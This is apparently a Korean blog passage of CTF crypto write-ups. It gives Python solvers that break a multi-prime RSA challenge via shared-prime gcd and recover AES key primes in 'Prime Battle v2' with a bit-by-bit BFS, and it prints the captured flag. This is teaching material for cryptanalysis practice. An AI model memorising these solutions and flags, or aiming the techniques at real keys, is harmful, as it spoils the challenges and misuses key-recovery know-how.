phi = math.prod(phis)

e = 0x10001
d = pow(e, -1, phi)
ct = pow(secret, e, n)
assert pow(ct, d, n) == secret

hint = math.prod(random.sample(primes, 3))

json.dump({"ns": ns, "ct": ct, "hint": hint, "len": len(flag)}, open("data", "w"))

 

난이도 상으로는 충분히 솔버가 꽤 나올법했다고 생각하는데,

1솔이 끝까지 터지지 않은게 0솔이 된 이유 아니었나 싶다.

 

30개의 소수 쌍의 곱들인 ns와,

60개의 소수 중 3개의 곱인 hint가 주어진다.

 

hint와 소수 쌍 중 하나의 소수만 가지고 있다면,

둘의 gcd를 통해 소수를 추출해낼 수 있다!

 

from Crypto.Util.number import *
import math, json
import sys

sys.set_int_max_str_digits(100000)

data = json.load(open("data", "r"))

ns = data["ns"]
ct = data["ct"]
hint = data["hint"]
length = data["len"]

total_n = 1
total_phi = 1
for n in ns:
    g = math.gcd(hint, n)
    if g in [1, n]:
        continue
    p, q = g, n // g
    phi = (p - 1) * (q - 1)
    total_n *= n
    total_phi *= phi
assert total_n.bit_length() > length * 8

e = 0x10001
d = pow(e, -1, total_phi)
pt = pow(ct, d, total_n)
print(long_to_bytes(pt))

 

다음과 같이 gcd가 1이 아닌 경우,

소수를 추출했다고 전제하고 인수분해를 진행한다.

 

flag의 길이가 162로 1296비트이고,

두 소수의 곱이 대략 512비트 쯤이므로

대략 3개의 n을 인수분해해야 flag를 온전히 복구할 수 있다.

 

때문에 가능한 많은 n을 인수분해 하도록 하고,

인수분해한 n들의 곱이 flag보다 큰지 확인하도록 했다.

 

Prime Battle v2

#!/usr/bin/python3
from Crypto.Util.number import long_to_bytes, getPrime, bytes_to_long
import os
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

class Person:
    def __init__(self, BITS):
        self.key = getPrime(BITS)
        self.limit = BITS
    def out(self):
        if self.limit == 0:
            return bytes_to_long(os.urandom(1)) & 1
        else:
            self.limit -= 1
            o = self.key & 1
            self.key >>= 1
            return o



if __name__ ==  "__main__":
    with open("flag.txt",'rb') as f:
        FLAG = f.read()
    Alice = Person(1024)
    BoB = Person(1024)

    hint = Alice.key * BoB.key
    key = (Alice.key << 1024) ^ BoB.key
    key = hashlib.sha256(long_to_bytes(key)).digest()

    aes = AES.new(key, AES.MODE_CBC, b'||Alice-vs-BoB||')
    FLAG_enc = aes.encrypt(pad(FLAG, 16))
    res = ''
    for i in range(2048):
        o1 = Alice.out()
        o2 = BoB.out()
        if o1 == o2:
            res += 'i'
        else:
            res += 'I'
    with open('output','w') as f:
        f.write(res + '\n')
        f.write(f'{hint = }' + '\n')
        f.write(FLAG_enc.hex())

 

Prime Battle v1과 거의 비슷하지만,

각 비트가 같은지 혹은 다른지만 알 수 있다.

대신, 두 수의 곱을 알려준다!

 

우선 1,1에서 시작해서, 1비트씩 늘려가며

불가능한 케이스는 지워나가면서 접근했다.

 

from Crypto.Util.number import long_to_bytes, getPrime, bytes_to_long
import os
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad


hint = 15795210193250407785192395634261473304438348759747575243437938601996318522680594387766594050600777205447217086022845903475263865825498599997746666116420830374179864030159468330899795157515728952582406983605831707259184151239155002057337311728287973301307026332124507035373406190121724254963242638045309327648476024096640419409571337845758896129316283180789388135235461152685748066050332293711556703509386889957366375086607341284796287243387348547517576659705260519496825590202737066768879922476188692257912962049426919434168301295921902518554284611065392488268462947722359472415063692958778566423095470209942731085277
clue = "iiIIIiiIIiiIiIiiiIIiIiiIiiIIiIIIiIiIIIIIiIIIIIiiiiIIiIiiIiIiIiIiIIIIiiIIiIiiiIiIIiiIIIiiIIiIiiIiiIIIiiIiiiIiIiiIiiIiIiiIiiIIiIiIiiiiiiIIIIIiIIIiiiiIiIIIiIiiiIIIiIiiiiiIiiiiiIIIiiIIIiIiIIiiIIiiiiIIiiiIIIiiIIiIIiiiiiIIIIIiiIiiiIIiIiiIiIIiiIIiiiiIIIIIiiiiiIiIiIIiIIiIIIIiIIiiIiiiIIiiIiIIiiIIiiIIiiIIiiIIiiIIiIIiiIIIIiiIIIiiiIiIIIIiIIiiIIiiIiIiIIiiIIiIIiIIiIIIIiIIIIIIIiiiiIiIiiiIiIIIiIiiIIIiiiiIIiiiIiIiIiiiiIiIiIiIIiIiIIiIIIiiiIIIiiIIiiIiIiiIIIiIiIiiiiIiIiIiiiIIIiIiIiIiIIiiiiiIIiIIiIIIIIiiiiIIiIiiIIiIIIiIIiIIIIIIIiiiiIIIiiIIiIiIIiIiiIIIiIiIIiIiIiiIiiiIiiIiiiiIiiIIiIIIiiIIiIIiIIIIIiIIIiiIIIIIIIiIIiIiIiiIIiiiiIIiiiiIIIIiIiIiiIiiiiIIiiIIiIiiiiiIIIIIiIIiiiiiiIIIIiIIiiIiiiIiiIiIiiiIiIiIiiIIIIIiiIiIiiIiiiIiiIIiiiIiIIIIiIiiIiiIiIiIiiiiiIIIIiIiIiIIiIiiIIIIIiIIIiiIiIiiIiiIiiiIiiIIiIiIiIiiiiiIiiIIIIiiiIIIiiIiiIiiIIiiiIiiIiiiiiIIIiiiiiiIiIiIiIIIIIIIIiiiIIiiiiiIIIiIIiiiIiIiiiiIIIiiIiIIiiiiIIiiIiIiiIIIiiIiIIIiIIiIiiIIiIiiiiiiIIIIIiIiiIiIIiiiiiiiIiIIIiIiIIIIiIIiIiIiiIiiIiiiiiIiiIIiIIiIiiIIIiIiIIIIIiiIiiiIIiIiiiIiIiIiIiIiiiIiIiIiiIiiIiiiiIIiIiiIiiiiiIiiIIIiIIiIiIiiIiIiIIiIiiIiIiIIIIiIiIiIIIIiIiIIiiiiiiiiIiIiIiIiiIiIIiiiIiiIiiiIiIIiIIIiiIiiiIIiIiiiIiIiIiiiiiIiiiiiiIIiiiiiiiiIIIIIIiIiIIiiiiiiiiIIIiiiiIIiIIIIIIiiIiIIIiIIiIiIiiIIiIIIIIIIiIiiIIIIiiiIiiIiIIIIIiIiIiiiIIIiIiiiIIIIiIIIiIIiiIIiIIiiIiIiIiiIiiIiIIiiIIIiiiIIiIiiiIIiiIIIIIIiIiIIIiiiIIiIiiIIIIIiiIIIiIIiiiIiIIIiiIIiIiIiiIIIIIiIiIiIIiiiiiiiIIIIiiiiiiiiiIiIiiIiiIIIiIIiIiIIIiiIIiIiIIiiIIiIIIiiIiiIiIiiIiIIiiiiiIiIIIiIIIiIiIIIIIIiIiIIIiIIIiiIIiIiIIiIIIiIiIiIiIiiiiIIiiiiIiIiIiIIIiIIiiIiIIIiIiIIiiiIiiIIiIiIiiIIiIiIiiIiIiiiIIIIIIIIIIIIIiIIiIIiIiiIiIIIIiiIIIiIIIiiIiiiiIIIiiiIIiiIiiIIIIIiiIiiIIiiIIiIiiiIIiIiIiIiiIiiIiIiiIiiIiiIiiIIIiiIIIiIIiIiIIiiiiIiIIIiiiiIiiIiiIiiiiiiiIIIiiiIiIiIiiIiiIIiIIIIIIIiIIiiIiiiiiiiiIIiIiiiiiiIIIiiiIiiIIiiiIIIiIiIiIiiiiIiIIIIIiIIIiiiiIiIIiIiIIIIiiiIiIiiIIiiIIIIIIIIIIIiIIIiiiiiIIiIiIiiiIiIiIIIIIiiIIIiiiIiIiiiiIIIIiiiiIiiIiIiIIIIIIiiIIIiIIIIIiiIIIiIiiiIiiiiIiIiiiiiIiiiIiiiIIIiiIIIiIiiIIiIiIiiiIIiIiiIiiiIIIiiIIiIIiIiIIIiIiIIIIiIIiiiiiIIIiiiIIiiIIIiIIiIIiIiiIiiIIiIIiIi"
enc = "c6189fdc80199166634664e00d9de03778c3a6563c21fc247576daf2528073ca070b7122e4f955bdfd18c584c1caaee4058deca3c9f052344e3f1398e53f681b"
clue = clue[:1024]
enc = bytes.fromhex(enc)

state = [(1, 1)]
for i in range(1, 1024):
    new_state = []
    mask = (1 << (i + 1)) - 1
    if clue[i] == "i":
        for s in state:
            k1, k2 = s
            s0 = (k1, k2)
            s1 = (k1 | (1 << i), k2 | (1 << i))
            if (s0[0] * s0[1]) & mask == hint & mask:
                new_state.append(s0)
            if (s1[0] * s1[1]) & mask == hint & mask:
                new_state.append(s1)
    else:
        for s in state:
            k1, k2 = s
            s0 = (k1 | (1 << i), k2)
            s1 = (k1, k2 | (1 << i))
            if (s0[0] * s0[1]) & mask == hint & mask:
                new_state.append(s0)
            if (s1[0] * s1[1]) & mask == hint & mask:
                new_state.append(s1)
    state = new_state

for s in state:
    if s[0] * s[1] != hint:
        continue
    key1, key2 = s
    key = (key1 << 1024) ^ key2
    key = hashlib.sha256(long_to_bytes(key)).digest()
    aes = AES.new(key, AES.MODE_CBC, b"||Alice-vs-BoB||")
    print(aes.decrypt(enc))
#hspace{D0_y0u_kn0w_BFS_1S_V3RY_Great_skill?__0_0!!}

 

우리가 추측하는 key의 비트 수를 늘려가면서, 

가능한 경우의 수만 state에 저장하여 남겼다.

 

최종적으로 남은 여러 케이스 중,

실제 곱이 hint와 같은 경우에 대해서만 복호화를 진행했다.

 

자연히 BFS(너비우선탐색)과 같은 형태를 띄게 되었는데,

만약 모른다면 DFS와 같이 찾아보고 공부하는걸 추천한다.

 

'CTF > writeup-ko' 카테고리의 다른 글

CODEGATE 2024 Quals 풀이 - Crypto+α  (0) 2024.06.04
KalmarCTF 2024 풀이 - Symmetry 2, 3  (0) 2024.03.19
2024 Feb Space WAR (Crypto) 풀이  (3) 2024.02.25

+ Recent posts